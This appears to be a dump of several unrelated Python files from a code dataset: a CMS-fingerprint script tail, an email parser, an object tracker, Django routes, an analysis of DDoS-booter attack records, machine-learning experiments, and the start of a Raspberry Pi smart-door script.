Cmsscanner(target_url)\n fofa_finger = cms.run()\n print(\"-\" * 50)\n fofa_banner = ''\n cms_name = ''\n cms_name_flag = 0\n for fofa_finger_tmp in fofa_finger:\n fofa_banner = fofa_banner + ' ' + fofa_finger_tmp\n if fofa_finger_tmp.lower() in cms_finger_list:\n cms_name = fofa_finger_tmp\n cms_name_flag = 1\n if fofa_banner.startswith(' '):\n fofa_banner = fofa_banner[1:]\n if fofa_banner:\n print(R, \"fofa_banner:\", W, G, fofa_banner, W)\n\n if not cms_name_flag:\n cms_name_tmp = finger_query(target_url)\n if cms_name_tmp:\n cms_name = cms_name_tmp['cms_name']\n\n print(R, \"CMS__finger:\", W, G, cms_name, W)\n end = datetime.datetime.now()\n print(\"-\" * 50)\n print(\"Time Used:\", (end - start).seconds, '秒')\n else:\n print(\"URL地址错误\")\n\n except Exception as e:\n print(\n str(time.strftime('%Y-%m-%d %X', time.localtime(time.time())))\n + \" Info \" + str(e))\n log.write(\n str(time.strftime('%Y-%m-%d %X', time.localtime(time.time())))\n + \" Info \" + str(e) + '\\n')\n","sub_path":"littlejiFinger.py","file_name":"littlejiFinger.py","file_ext":"py","file_size_in_byte":37078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"470215316","text":"import sys,os,argparse\n\nscript_path = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(os.path.join(script_path, \"classes/\"))\n\nformatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=140, width=140)\nparser = argparse.ArgumentParser(formatter_class=formatter_class, description=\"Extract data from .MSG files in a directory\")\nparser.add_argument('output_file', type=str, help='file to output csv data')\nparser.add_argument('input_dir', type=str, help='directory to pull .msg files')\nparser.add_argument('fields', type=str, help='comma delimited list of keys to pull from .msg files')\nparser.add_argument('--delim', type=str, help='delimiter used in output file', default=\",\")\nparser.add_argument('--quote_char', type=str, help='quote character used in output file', default='\"')\nparser.add_argument('--esc_char', type=str, help='escape character used in output file', default='\"')\nargs = vars(parser.parse_args())\n\nfrom MSGParser import MSGParser\n\nstrOutPutFile = os.path.join(script_path, \"output/\", args[\"output_file\"].replace(\"/\", \"\"))\nstrInputDir = args[\"input_dir\"]\n\nlstFields = [x.strip() for x in args[\"fields\"].split(',')]\n\nobjMSGParser = MSGParser()\nobjMSGParser.parseDir(\n strInputDir,\n strOutPutFile,\n lstFields,\n {\n \"delimiter\":args[\"delim\"],\n \"quotechar\":args[\"quote_char\"],\n \"escapechar\":args[\"esc_char\"]\n }\n)\n","sub_path":"source/outputMsgToFile.py","file_name":"outputMsgToFile.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"100857836","text":"\nimport numpy as np\nimport cv2\n\nSTATE_NUM = 4\nMEASURE_NUM = 2\n\nclass Obj:\n\n max_path_length = 20\n\n def __init__(self, start_point, name, color, min_size, max_size):\n # The bug's kalman tracker\n self.kalman = cv2.KalmanFilter(STATE_NUM, MEASURE_NUM, 0)\n # H\n self.kalman.measurementMatrix = np.array([[1, 0, 0, 0],\n [0, 1, 0, 0]], np.float32)\n\n # F. In each state we take the previous location with the previous velocity\n self.kalman.transitionMatrix = np.array([[1, 0, 1, 0],\n [0, 1, 0, 1],\n [0, 0, 1, 0],\n [0, 0, 0, 1]],\n np.float32)\n\n self.kalman.processNoiseCov = np.array([[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 1]],\n np.float32) * 0.03\n # self.kalman.measurementNoiseCov = np.eye(4, dtype=np.float32) * 10\n # self.kalman.errorCovPost = np.eye(4, dtype=np.float32) * 0.1\n\n # initial state\n self.kalman.statePre = np.array([start_point[0], start_point[1], 0, 0], dtype=np.float32)\n\n self.name = name\n\n self.color = color\n\n self.path = [start_point]\n\n self.x_box, self.y_box, self.w_box, self.h_box = start_point[0], start_point[1], 1, 1\n\n self.min_size = min_size\n\n self.max_size = max_size\n\n def get_position(self):\n return self.path[-1]\n\n def update_path(self, point_observation):\n self.kalman.correct(point_observation)\n pred = self.kalman.predict()\n cx, cy = pred[0], pred[1]\n\n if len(self.path) == Obj.max_path_length:\n self.path.pop(0)\n # self.path.append(np.array([cx, cy]))\n self.path.append(point_observation)\n\n def update_path_no_match(self):\n point_observation = self.get_position()\n pred = self.kalman.predict()\n cx, cy = pred[0], pred[1]\n\n if len(self.path) == Obj.max_path_length:\n self.path.pop(0)\n # self.path.append(np.array([cx, cy]))\n self.path.append(point_observation)\n\n\n def plot_on_img(self, img, show_box, show_trail, contour=None):\n if show_trail == 1:\n for j, step in enumerate(reversed(self.path)):\n cv2.circle(img, (step[0], step[1]), max(1, int(4 - j * 0.3)), self.color, -1)\n if contour is not None and show_box == 1:\n x, y, w, h = cv2.boundingRect(contour)\n cv2.rectangle(img, (x, y), (x + w, y + h), self.color, 2)\n cv2.putText(img, self.name, (x, y + h + 20), cv2.FONT_HERSHEY_PLAIN, 1.0, self.color, 1)\n\n def plot_on_img(self, img, show_box, show_trail, contour=None):\n if show_trail == 1:\n for j, step in enumerate(reversed(self.path)):\n cv2.circle(img, (step[0], step[1]), max(1, int(4 - j * 0.3)), self.color, -1)\n if show_box == 1:\n if contour is not None:\n self.x_box, self.y_box, self.w_box, self.h_box = cv2.boundingRect(contour)\n cv2.rectangle(img, (self.x_box, self.y_box), (self.x_box + self.w_box, self.y_box + self.h_box), self.color, 2)\n cv2.putText(img, self.name, (self.x_box, self.y_box + self.h_box + 20), cv2.FONT_HERSHEY_PLAIN, 1.0, self.color, 1)\n\n","sub_path":"src/obj.py","file_name":"obj.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"86295259","text":"\"\"\"cnblogs URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url,include\nfrom django.contrib import admin\n\nfrom blogs import views\nfrom cnblogs import urls\n\n\nurlpatterns = [\n\n # url(r'^(?P\\d+)/', views.index),\n url(r'poll/', views.poll),\n url(r'comment/', views.comment),\n url(r'delArticle/', views.delArticle),\n url(r'indexcategory/', views.indexcategory),\n url(r'indextag/', views.indextag),\n\n url(r\"(?P\\w+)/article/(?Pcategory|tag|date)/(?P.*)\", views.homeSite),\n # url(\"(?P\\w+)/article/(?P\\d+)\", views.articleDetail2),\n url(r'^(?P\\w+)/article/(?P\\d+)', views.articleDetail),\n url(r'^(?P\\w+)/$', views.homeSite),\n url(r'^(?P\\w+)/manager/$', views.indexbackmanager ,name='manager'),\n url(r'^(?P\\w+)/addArticle/$',views.addArticle),\n\n # url(r'^(?P\\w+)/p/(?P\\d+).html$', views.indexarticle),\n\n # url(r'^new_addlikes/(?P\\d+)/(?P[\\w+]+)/$',views.Add_New_Likes, name = 'add_new_likes'),\n # url(r'^(?P\\w+)/(?P\\d+)/comment', views.comment),\n]\n","sub_path":"D20170906Login/cnblogs/blogs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"21329077","text":"from sklearn.cluster import KMeans\nimport numpy as np\nimport csv\nimport matplotlib.pyplot as plt\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn import preprocessing\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn import svm\nfrom sklearn.svm import LinearSVC\nfrom sklearn.multiclass import OneVsOneClassifier\nfrom sklearn import datasets\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport math\nimport sys\n\n\ndef get_baseline_features(root_name,baseline_features):\n\tfor features in baseline_features:\n\t\tif features[0]==root_name:\n\t\t\treturn features[1:]\n\n\treturn []\n\ndef get_truth_label(root_name,truth_labels):\n\tfor line in truth_labels:\n\t\tif line[0]==root_name:\n\t\t\treturn line[1]\n\treturn None\n\ndef write_csv(root_name,truth_label,count,lag,window):\n\tl=[]\n\tfile_name=\"data/cosine_fraction/au_c/count_diff_l_\"+str(lag)+\"_w_\"+str(window)+\".csv\"\n\twith open(file_name, 'a') as out_f:\n\t\twr = csv.writer(out_f)\n\t\tl.append(root_name)\n\t\tl.append(truth_label)\n\t\tfor c in count:\n\t\t\tl.append(c)\n\t\twr.writerow(l)\n\t\ndef min_cosine_distance_index(feature,b_feature):\n\tsimilarities=cosine_similarity([feature], b_feature)\n\treturn similarities[0].tolist()\n\nlag=float(sys.argv[1])\nwindow=float(sys.argv[2])\n\nfile_name=\"out_baseline_diff/au_c/baseline_diff_features_l_\"+str(lag)+\"_w_\"+str(window)+\".csv\"\nf = open(file_name)\ncsv_f = csv.reader(f)\nbaseline_features=[]\nfor line in csv_f:\n\tfeature=[]\n\tfeature.append(line[0])\n\tfor i in range(1,len(line)):\n\t\tq=line[i]\n\t\tq=q[1:len(q)-1]\n\t\tq=q.split(',')\n\t\tq=[float(x)for x in q]\n\t\tfeature.append(q)\n\tbaseline_features.append(feature)\n\nfile_name=\"out_relevant_diff/au_c/relevant_diff_features_l_\"+str(lag)+\"_w_\"+str(window)+\".csv\"\nf = open(file_name)\ncsv_f = csv.reader(f)\nrelevant_features=[]\nfor line in csv_f:\n\tfeature=[]\n\tfeature.append(line[0])\n\tfor i in range(1,len(line)):\n\t\tq=line[i]\n\t\tq=q[1:len(q)-1]\n\t\tq=q.split(',')\n\t\tq=[float(x)for x in q]\n\t\tfeature.append(q)\n\trelevant_features.append(feature)\n\nf = open(\"silent_intervals.csv\")\ncsv_f = csv.reader(f)\ntruth_labels=[]\nfor line in csv_f:\n\ttruth_labels.append([line[0],line[1]])\n\n\nfor r_features in relevant_features:\n\troot_name=r_features[0]\n\tr_features=r_features[1:]\n\tc=[0]*5\n\tb_feature=get_baseline_features(root_name,baseline_features)\n\tif not b_feature:\n\t\tcontinue\n\ttruth_label=get_truth_label(root_name,truth_labels)\n\tif not truth_label:\n\t\tcontinue\n\tfor feature in r_features:\n\t\tcosine_distances=min_cosine_distance_index(feature,b_feature)\n\t\tcosine_distances=[x+1 for x in cosine_distances]\n\t\ts=sum(cosine_distances)\n\t\tif s>0:\n\t\t\tcosine_distances=[x/s for x in cosine_distances]\n\n\t\tfor i in range(len(c)):\n\t\t\tc[i]+=cosine_distances[i]\n\n\n\twrite_csv(root_name,truth_label,c,lag,window)\n\n\n\n\n\n\t","sub_path":"face_match_experiment/count_cosine_fraction.py","file_name":"count_cosine_fraction.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"325083702","text":"from appliances import Appliance\n\nclass Washer(Appliance):\n\n def __init__(color, heat_method):\n super().__init__(color, heat_method)\n\n def wash_clothes(self, setting=\"normal\"):\n if setting == \"delicates\":\n print(\"Time to wash the undies\")\n elif setting == \"super_scrub\":\n print(\"Washing your diapers and bibs\")\n else:\n print(\"Hope you didn't mix your colors and whites\")\n","sub_path":"appliances/laundry/washer.py","file_name":"washer.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"510557593","text":"#Data contains a several entries with strings and integers. \n#Each entry is separated by an exclamation mark. \n#Break each string every x characters where x is the integer after the comma. \n#For example 123456,2 becomes the list [\"12\", \"34\", \"56\"]. Submit a list of lists as the answer \n#[[list for first entry],[list for second entry],[list for third entry]].\n\nimport local_pyWars as pyWars\nimport re\ngame = pyWars.exercise()\n#a = game.data(43)\na = []\n\nfor each in game.data(43).split(\"!\"):\n\tstr, num = each.split(\",\")\n\tmyregex = r\".\" * int(num)\n\tthelist = re.findall(myregex, str)\n\tprint(str, num, thelist)\n\ta.append(thelist)\n\ngame.answer(43,a)\nprint (game.score())\n","sub_path":"q43.py","file_name":"q43.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"594253008","text":"import os\nimport os.path as osp\nimport sys\nimport glob\nimport pickle\nimport lmdb\nimport cv2\nimport numpy as np\nimport pywt\ntry:\n sys.path.append(osp.dirname(osp.dirname(osp.abspath(__file__))))\n from utils.util import ProgressBar\nexcept ImportError:\n pass\n\nframe_maxnum = 200\nmemory_len = 2\n\n# f = open('../yuvInfo.txt','r')\n# configurations\nmode = 1 # 1 for reading all the images to memory and then writing to lmdb (more memory);\n# 2 for reading several images and then writing to lmdb, loop over (less memory)\nbatch = 1000 # Used in mode 2. After batch images, lmdb commits.\n###########################################\n# if not lmdb_save_path.endswith('.lmdb'):\n# raise ValueError(\"lmdb_save_path must end with \\'lmdb\\'.\")\n# #### whether the lmdb file exist\n# if osp.exists(lmdb_save_path):\n# print('Folder [{:s}] already exists. Exit...'.format(lmdb_save_path))\n # sys.exit(1)\ninfo_mode = 'GT' # GT or LQ\nprint('*********** current mode is: ' + info_mode + ' **************')\ncrop_sz = 224\nqp = 42\nchannal_num = 3\nprint('*********** current size is: ' + str(crop_sz) + ' **************')\nmeta_info = {'name': 'YUV_all_sub'+str(crop_sz)+str(qp)}\nif channal_num==1:\n readpath = '/media/iceclear/iceking/YUV_'+info_mode+'_imgyuv_sub'+str(crop_sz)+'_'+str(qp)+'/*'\nelif channal_num==3:\n readpath = '/media/iceclear/iceking/YUV_'+info_mode+'_imgrgb_sub'+str(crop_sz)+'_'+str(qp)+'/*'\nori_file_path = '/media/iceclear/iceking/YUV_f_img_crop_'+str(qp)+'_yuv/'\nread_list = glob.glob(readpath)\nfor c in read_list:\n filename = os.path.basename(c)\n ori_file_list = glob.glob(ori_file_path+filename+'/*')\n frame_total = len(ori_file_list)\n if frame_total == 0:\n continue\n\n print('>>>>>>>>>>>>>> '+filename+' is starting')\n img_folder = c+'/*' # glob matching pattern\n # img_folder = '/media/iceclear/iceking/YUV_LQ_img_sub240/'+filename+'/*' # glob matching pattern\n if channal_num==1:\n lmdb_save_path = '/media/iceclear/iceking/YUV_lmdb_yuv'+str(crop_sz)+'_'+str(qp)+'/'+filename+'_'+info_mode+'.lmdb'\n elif channal_num==3:\n lmdb_save_path = '/media/iceclear/iceking/YUV_lmdb_rgb'+str(crop_sz)+'_'+str(qp)+'/'+filename+'_'+info_mode+'.lmdb'\n # lmdb_save_path = '/media/iceclear/iceking/YUV_lmdb240/'+filename+'_LQ.lmdb'\n if os.path.exists(lmdb_save_path):\n continue\n\n if channal_num==1:\n if not os.path.exists('/media/iceclear/iceking/YUV_lmdb_yuv'+str(crop_sz)+'_'+str(qp)+'/'):\n os.makedirs('/media/iceclear/iceking/YUV_lmdb_yuv'+str(crop_sz)+'_'+str(qp)+'/')\n if channal_num==3:\n if not os.path.exists('/media/iceclear/iceking/YUV_lmdb_rgb'+str(crop_sz)+'_'+str(qp)+'/'):\n os.makedirs('/media/iceclear/iceking/YUV_lmdb_rgb'+str(crop_sz)+'_'+str(qp)+'/')\n\n if frame_total>frame_maxnum:\n frame_total = frame_maxnum\n\n img_list = sorted(glob.glob(img_folder),key=lambda x:(int(x.split('_')[-2]),int(x.split('_')[-1][1:4])))\n num_sub = int(len(img_list)/frame_total)\n # frame_i = 2\n # block_i = 1\n # print(img_list)\n # print(img_list[frame_i*num_sub+block_i])\n # for cur_frame_in_batch in range(2*memory_len+1):\n # print(img_list[(frame_i+cur_frame_in_batch-memory_len)*num_sub+block_i])\n # print(s)\n\n if mode == 1:\n print('Read images...')\n dataset = [cv2.imread(v) for v in img_list]\n data_size = sum([img.nbytes for img in dataset])\n\n elif mode == 2:\n print('Calculating the total size of images...')\n data_size = sum(os.stat(v).st_size for v in img_list)*(memory_len*2+1)\n else:\n raise ValueError('mode should be 1 or 2')\n\n env = lmdb.open(lmdb_save_path, map_size=data_size * 100)\n txn = env.begin(write=True) # txn is a Transaction object\n key_l = []\n resolution_l = []\n pbar = ProgressBar(frame_total)\n\n for frame_i in range(memory_len,frame_total-memory_len,3):\n pbar.update('Write frame {}'.format(frame_i))\n for block_i in range(num_sub):\n base_name = 'frame_'+str(frame_i)+'_'+str(block_i)\n key = base_name.encode('ascii')\n # data = dataset[frame_i*num_sub+block_i] if mode == 1 else cv2.imread(v, cv2.IMREAD_UNCHANGED)\n data = []\n if info_mode == 'LQ':\n for cur_frame_in_batch in range(2*memory_len+1):\n cur_data = dataset[(frame_i+cur_frame_in_batch-memory_len)*num_sub+block_i]\n data.append(cur_data)\n elif info_mode == 'GT':\n cur_data = dataset[frame_i*num_sub+block_i]\n data.append(cur_data)\n\n data = np.array(data)\n\n\n if data.ndim == 3:\n D, H, W = data.shape\n C = 1\n else:\n D, H, W, C = data.shape\n txn.put(key, data)\n key_l.append(base_name)\n resolution_l.append('{:d}_{:d}_{:d}_{:d}'.format(D, C, H, W))\n # commit in mode 2\n if mode == 2 and i % batch == 1:\n txn.commit()\n txn = env.begin(write=True)\n\n ### create meta information\n # check whether all the images are the same size\n same_resolution = (len(set(resolution_l)) <= 1)\n if same_resolution:\n meta_info['resolution'] = [resolution_l[0]]\n meta_info['keys'] = key_l\n print('All images have the same resolution. Simplify the meta info...')\n else:\n meta_info['resolution'] = resolution_l\n meta_info['keys'] = key_l\n print('Not all images have the same resolution. Save meta info for each image...')\n\n #### pickle dump\n pickle.dump(meta_info, open(osp.join(lmdb_save_path, 'meta_info.pkl'), \"wb\"))\n print('Finish creating lmdb meta info.')\n\n txn.commit()\n env.close()\n\nprint('Finish writing lmdb.')\n","sub_path":"codes/scripts/create_lmdb.py","file_name":"create_lmdb.py","file_ext":"py","file_size_in_byte":5805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"416187089","text":"import sys\n\nquestion1 = [\"早稲田大学のキャンパスではないのは?\", \"所沢\", \"戸山\", \"日吉\", 3]\nquestion2 = [\"早稲田大学に存在しない学部は?\", \"医学部\", \"人間科学部\", \"商学部\", 1]\nquestion3 = [\"県ではないものは?\", \"新潟\", \"京都\", \"愛媛\", 2]\nquestion4 = [\"システムプログラミング言語は?\", \"PHP\", \"Javascript\", \"Rust\", 3]\n\n\n# 正解/不正解ジャッジ関数\ndef judge():\n\n print(\"正解は?\")\n res = int(input())\n\n if res == q_num[4]:\n print(\"正解\")\n elif res != q_num[4]:\n print(\"不正解\")\n else:\n sys.exit()\n\n\nfor i in range(4):\n # 質問指定\n exec(\"q_num = question%d\" % (i+1))\n \n # 質問表示\n print(q_num[0])\n\n # 回答表示\n for j in range(3):\n print(str(j+1) + q_num[j+1])\n\n # 判定\n judge()\n","sub_path":"2/prac02b.py","file_name":"prac02b.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"174539271","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import tree\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import classification_report,confusion_matrix\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.decomposition import PCA\n\n### Getting my data from local folder\nnursery_data = pd.read_csv(\"datasets/nursery-data.csv\")\ncar_data = pd.read_csv(\"datasets/cars-data.csv\")\n\n## One Hot Encoding my Data\nle = LabelEncoder()\nnursery = nursery_data.apply(le.fit_transform)\ncar = car_data.apply(le.fit_transform)\nnursery_x = []\nnursery_y = []\ncar_x = []\ncar_y = []\ntestx = []\ntesty = []\n\n#for i in range(1,100):\n# ## Splitting up features and target for nursery\n# # and making training and test data sets\n# X = nursery.values[:, 0:7]\n# Y = nursery.values[:, 8]\n# X_train, X_test, y_train, y_test = train_test_split( X, Y, test_size = (100 - i)/100.0,\n# random_state = 100)\n# ## Splitting up features and target for car\n# # and making training and test data sets\n# W = car.values[:, 0:5]\n# Z = car.values[:, 6]\n# W_train, W_test, z_train, z_test = train_test_split( W, Z, test_size = (100 - i)/100.0,\n# random_state = 100)\n# \n# scaler = StandardScaler()\n# scaler.fit(X_train)\n# X_train = scaler.transform(X_train)\n# X_test = scaler.transform(X_test)\n# \n# mlp = MLPClassifier(hidden_layer_sizes=(30,30,30))\n# mlp.fit(X_train,y_train)\n# \n# predictions = mlp.predict(X_test)\n# #print(confusion_matrix(y_test,predictions))\n# #print(classification_report(y_test,predictions))\n# #print \"Accuracy for nurse: \", accuracy_score(y_test,predictions)*100\n# ##\n# nursery_x.append(i/100.0)\n# nursery_y.append(accuracy_score(y_test,predictions)*100)\n# \n# \n# \n# scaler.fit(W_train)\n# W_train = scaler.transform(W_train)\n# W_test = scaler.transform(W_test)\n# \n# mlp = MLPClassifier(hidden_layer_sizes=(30,30,30))\n# mlp.fit(W_train,z_train)\n# \n# predictions = mlp.predict(W_test)\n# car_x.append(i/100.0)\n# car_y.append(accuracy_score(z_test,predictions)*100)\n# #print(confusion_matrix(z_test,predictions))\n# #print(classification_report(z_test,predictions))\n \n\navg = 0.0\nnumcalled = 0\n\ny = []\nfor i in range (1,14):\n W = car.values[:, 0:6]\n Z = car.values[:, 6]\n W_train, W_test, z_train, z_test = train_test_split( W, Z, test_size = 0.25,\n random_state = 100)\n numcalled += 1\n mlp = MLPClassifier(hidden_layer_sizes=(30,30,30))\n pca = PCA(0.95)\n# pca = PCA(0.7 + 0.02 * i) #.99 is best value\n pca.fit(W_train)\n \n W_train = pca.transform(W_train)\n W_test = pca.transform(W_test)\n print(W_train)\n mlp.fit(W_train,z_train)\n \n prediction = mlp.predict(W_train)\n print(accuracy_score(z_train, prediction)*100)\n predictions = mlp.predict(W_test)\n car_x.append(0.7 + i * 0.02)\n# car_x.append(numcalled)\n y.append(accuracy_score(z_train, prediction)*100)\n car_y.append(accuracy_score(z_test,predictions)*100) \n #print(accuracy_score(z_test,predictions)*100) \n# print(confusion_matrix(z_test,predictions))\n# print(classification_report(z_test,predictions))\n avg += accuracy_score(z_test,predictions)*100\nprint(avg/numcalled)\n \n#plt.plot(nursery_x,nursery_y, label=\"nursery\")\nplt.figure(figsize = (8,6))\nplt.plot(car_x,car_y, label=\"testing accuracy\")\nplt.plot(car_x, y, label=\"training accuracy\")\n#plt.xlabel('Number of iterations')\nplt.xlabel('PCA variance %')\nplt.ylabel('Accuracy')\nplt.legend(loc='upper left', frameon=False)\n#plt.title('Neural Network Performance on Cars Dataset with PCA')\nplt.title('PCA with the Cars Dataset on a NN')","sub_path":"UnsupervisedLearningProject/NeuralNet_PCA.py","file_name":"NeuralNet_PCA.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"299701910","text":"import pandas as pd\r\nimport xlrd\r\nimport matplotlib.pyplot as plt; plt.rcdefaults()\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Regex for matching a domain name.\r\nimport re\r\nregex = re.compile('^(http(s)?://)?[a-zA-Z]+\\.')\r\n\r\n# read excel document\r\ndata = pd.read_excel('table_attack_twbooter.xls')\r\ndf = pd.DataFrame(data, columns = ['port_service`_type', 'type', 'victim', 'client_attacker', 'duration', 'server_used_in_th_attack'])\r\n\r\n# Q1: total number of attack records\r\n# We check the length of the dataframe in which all records are stored\r\nprint('total records', len(df))\r\n\r\n# Q2: total number of unique users\r\n# We map client to attacks, to see how many clients there are.\r\nprint('unique users', len(df['client_attacker'].value_counts()))\r\n\r\n# Preprocessing Q3, Q4\r\n# we go through the victims, and check whether the name matches the regex\r\n# for a domain. Those entries are stored in topDomain, and the others in topIP.\r\n# In the end we sort the domains and ip's in reverse order to get the top entries.\r\ntopIP, topDomain = [], []\r\nvictims = df['victim'].value_counts()\r\nfor key in victims.index:\r\n\ttup = (victims.get(key = key), str(key))\r\n\tif regex.match(str(key)): \r\n\t\ttopDomain.append(tup)\r\n\telse: \r\n\t\ttopIP.append(tup)\r\ntopIP.sort(reverse = True)\r\ntopDomain.sort(reverse = True)\r\n\r\n# Q3: top 10 victim IP addresses\r\n# We take the top 10 entries of topIP\r\nprint('top 10 hit IP addresses')\r\nfor entry in topIP[:10]: print(entry[1], entry[0])\r\n\r\n# Q4 top 10 victom domain names\r\n# We take the top 10 entries of topDomain\r\nprint('top 10 hit domain names')\r\nfor entry in topDomain[:10]: print(entry[1], entry[0])\r\n\r\n# Q5: longest attack duration\r\n# We take the maximum number in the duration column\r\nprint('longest attack', max(df['duration'].values))\r\n\r\n# Q6: top 3 attack types \r\n# We count the entries for each attack, and take the highest 3 of these values\r\nprint('top attacks\\n' + str(df['type'].value_counts().head(3).to_frame()))\r\n\r\n# Q7: id that performed the most attacks\r\n# We count the entries for attackers, and get the highest\r\nprint('top attacker', df['client_attacker'].value_counts().head(1).to_frame())\r\n\r\n# Q8: attacks suffered by krebsonsecurity.com \r\n# We search for krebsonsecurity.com in the victim name. We do this as they don't all \r\n# have http/https/www or a / at the end.\r\ntotal = 0\r\nvictims = df['victim'].value_counts()\r\nfor key in victims.index:\r\n\tif 'krebsonsecurity.com' in str(key):\r\n\t\ttotal += victims.get(key = key)\r\nprint('attack krebson security', total)\r\n\r\n# Q9: get port statistics\r\n# Get the different kinds of ports used, and count the uses to create a pie diagram.\r\n# First we get the total number of entries for ports, so that we can group ports \r\n# that were used in less than 1% of the attacks into an other category.\r\nports = df['port_service`_type'].value_counts()\r\ntotal, other = sum(ports.tolist()), 0\r\nkeys, values = ports.keys(), ports.tolist()\r\nlabels, sizes = [], []\r\nfor i in range(len(keys)):\r\n\tif values[i] * 100 < total:\r\n\t\tother += values[i]\r\n\telse:\r\n\t\tlabels.append(keys[i])\r\n\t\tsizes.append(values[i])\r\nlabels.append('other < 1%')\r\nsizes.append(other)\r\nfig1, ax1 = plt.subplots()\r\nax1.pie(sizes, labels = labels, autopct = '%1.1f%%', shadow = True, startangle = 90)\r\nax1.axis('equal')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# Q9: mean duration of an attack.\r\n# The durations are added, and divided by the total to get the mean.\r\nprint(df['duration'].mean(skipna = True))\r\n\r\n# intervals of 12 hours, up to 6 days => 12 intervals\r\nintervals = 12\r\nsize = 12\r\nxValues = []\r\nyValues = [0 for i in range(intervals)]\r\nfor i in range(intervals): xValues.append(str(i * size) + \"-\" + str((i+1)*size - 1))\r\n\r\ndurations = df['duration'].value_counts()\r\nkeys, values = durations.keys(), durations.tolist()\r\nfor i in range(len(keys)):\r\n\tyValues[keys[i] // (12 * 60 * 60)] += values[i]\r\npositions = np.arange(intervals)\r\nplt.yscale('log')\r\nplt.bar(positions, yValues, align = 'center', alpha = 1)\r\nplt.xticks(positions, xValues, rotation = 'vertical')\r\nplt.ylabel('attacks')\r\nplt.title('Duration of attacks')\r\nplt.show()\r\n\r\n# Q10: how many different servers have been used to attack websites?\r\n# We map servers to attacks, to see how many servers there are.\r\nprint('servers used', len(df['server_used_in_th_attack'].value_counts()))\r\n\r\n# Q11: which server was used most in the attacks\r\n# We count the attacks per server, sort this and then take the first enty\r\nprint('top server used', df['server_used_in_th_attack'].value_counts().head(1).to_frame())\r\n\r\n# Q12: what is the total number of unique victims\r\n# We map victims to attacks, and count the number of entries.\r\nprint('unique victims', len(df['victim'].value_counts()))\r\n\r\n# Q13: how many victims have been attack more than 3 times\r\n# We loop over the map of victims -> count, and check whether the count is larger or \r\n# equal to 3. We count these entries.\r\ncount = 0\r\nfor victim in victims.index:\r\n\tif victims.get(key = victim) >= 3: \r\n\t\tcount += 1\r\nprint('victims attack more than 3 times:', count)\r\n\r\n","sub_path":"assignment_2/analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":5014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"367044367","text":"\"\"\"\n 可迭代对象\n\"\"\"\nlist01 = [35, 5, 65, 7, 8]\n# for item in list01:\n# print(item)\n\n# 参与for循环的条件:\n# 对象具有__iter__方法\n\n# for 循环原理:\n# 1. 获取迭代器\niterator = list01.__iter__()\n# 2. 获取下一个元素\nwhile True:\n try:\n itme = iterator.__next__()\n print(itme)\n # 3. 异常处理\n except StopIteration:\n break\n","sub_path":"month01/day15/demo05.py","file_name":"demo05.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"589886743","text":"import RPi.GPIO as GPIO\nimport time\nimport picamera\nimport smtplib\nimport face_recognition\nfrom time import sleep\n\nfrom email.mime.multipart import MIMEMultipart\n#from email.MIMEText import MIMEText\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email import encoders\nfrom email.mime.image import MIMEImage\n \nfromaddr = \"smartdoorgmrit789@gmail.com\" # change the email address accordingly\ntoaddr = \"vamsikrishnapapana@gmail.com\"\n \nmail = MIMEMultipart()\n \nmail['From'] = fromaddr\nmail['To'] = toaddr\nmail['Subject'] = \"Attachment\"\nbody = \"Please find the attachment\"\n\nclass Motor(object):\n def __init__(self, pins):\n self.P1 = pins[0]\n self.P2 = pins[1]\n self.P3 = pins[2]\n self.P4 = pins[3]\n self.deg_per_step = 360.0 / 512 # for half-step drive (mode 3)\n 